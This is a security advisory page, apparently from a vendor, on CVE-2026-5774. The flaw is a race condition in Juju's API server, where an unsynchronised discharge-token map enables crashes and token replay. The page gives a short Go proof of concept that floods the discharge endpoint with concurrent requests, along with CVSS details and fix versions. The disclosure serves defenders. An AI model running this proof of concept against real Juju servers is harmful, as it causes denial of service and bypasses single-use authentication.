CVE-2026-5774

The localLoginHandlers struct in the Juju API server maintains an in-memory map to store discharge tokens following successful local authentication. This map is accessed concurrently from multiple HTTP handler goroutines without any synchronization primitive protecting it. The absence of a mutex or equivalent mechanism means that concurrent reads, writes, and deletes on the map can trigger Go runtime panics and may allow a discharge token to be consumed more than once before deletion completes.

Details

When a user authenticates through the local login flow, a discharge token is generated and stored in a plain map[string]string field named userTokens. The form handler writes to this map when authentication succeeds, and the third-party caveat checker reads from and deletes from the same map when a discharge request arrives. Both code paths execute inside goroutines dispatched by the HTTP server, meaning concurrent requests will access the map simultaneously.

Go's runtime detects concurrent map access and will terminate the process with a fatal error when a write races with another write or read. This makes the API server susceptible to a denial-of-service attack from any authenticated user who can trigger simultaneous discharge requests. Beyond the crash scenario, the read-then-delete sequence in the caveat checker is not atomic. Two goroutines processing the same token concurrently may both pass the existence check before either executes the deletion, allowing a single-use discharge token to be accepted more than once and effectively replaying authentication.

The struct definition that introduces the unsafe field is shown below.

type localLoginHandlers struct {
    authCtxt   *authContext
    userTokens map[string]string
}

The concurrent access originates from the caveat checker calling username, ok := h.userTokens[tokenString] followed by delete(h.userTokens, tokenString) with no lock held, while formHandler concurrently executes h.userTokens[token] = username in a separate goroutine.

PoC

package main

import (
    "net/http"
    "sync"
)

func main() {
    token := "acquired-discharge-token"
    endpoint := "https://target-juju-api:17070/local-login/discharge"

    var wg sync.WaitGroup
    for i := 0; i < 20; i++ {
        wg.Add(1)
        go func() {
            defer wg.Done()
            req, _ := http.NewRequest("GET", endpoint+"?token="+token, nil)
            http.DefaultClient.Do(req)
        }()
    }
    wg.Wait()
}

Any authenticated user who obtains a valid discharge token can send a burst of concurrent requests to the discharge endpoint. The most reliable outcome is a Go runtime panic caused by concurrent map access, which terminates the Juju API server process and denies service to all connected clients and agents. Under favorable timing conditions the same token may be accepted by multiple goroutines before deletion, bypassing the single-use enforcement and allowing repeated authentication with a token that should have been invalidated after first use.

Multiple concurrent operations access a shared resource without proper synchronization, producing unpredictable results depending on timing. Typical impact: TOCTOU exploits, data corruption, or privilege escalation.

CVE-2026-5774 has a CVSS score of 6.4 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260408003526-d395054dc2c3); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-5774? CVE-2026-5774 is a medium-severity race condition vulnerability in github.com/juju/juju (go), affecting versions < 0.0.0-20260408003526-d395054dc2c3. It is fixed in 0.0.0-20260408003526-d395054dc2c3. Multiple concurrent operations access a shared resource without proper synchronization, producing unpredictable results depending on timing.
2. How severe is CVE-2026-5774? CVE-2026-5774 has a CVSS score of 6.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/juju/juju are affected by CVE-2026-5774? github.com/juju/juju (go) versions < 0.0.0-20260408003526-d395054dc2c3 is affected.
4. Is there a fix for CVE-2026-5774? Yes. CVE-2026-5774 is fixed in 0.0.0-20260408003526-d395054dc2c3. Upgrade to this version or later.
5. Is CVE-2026-5774 exploitable, and should I be worried? Whether CVE-2026-5774 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-5774 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-5774? Upgrade github.com/juju/juju to 0.0.0-20260408003526-d395054dc2c3 or later.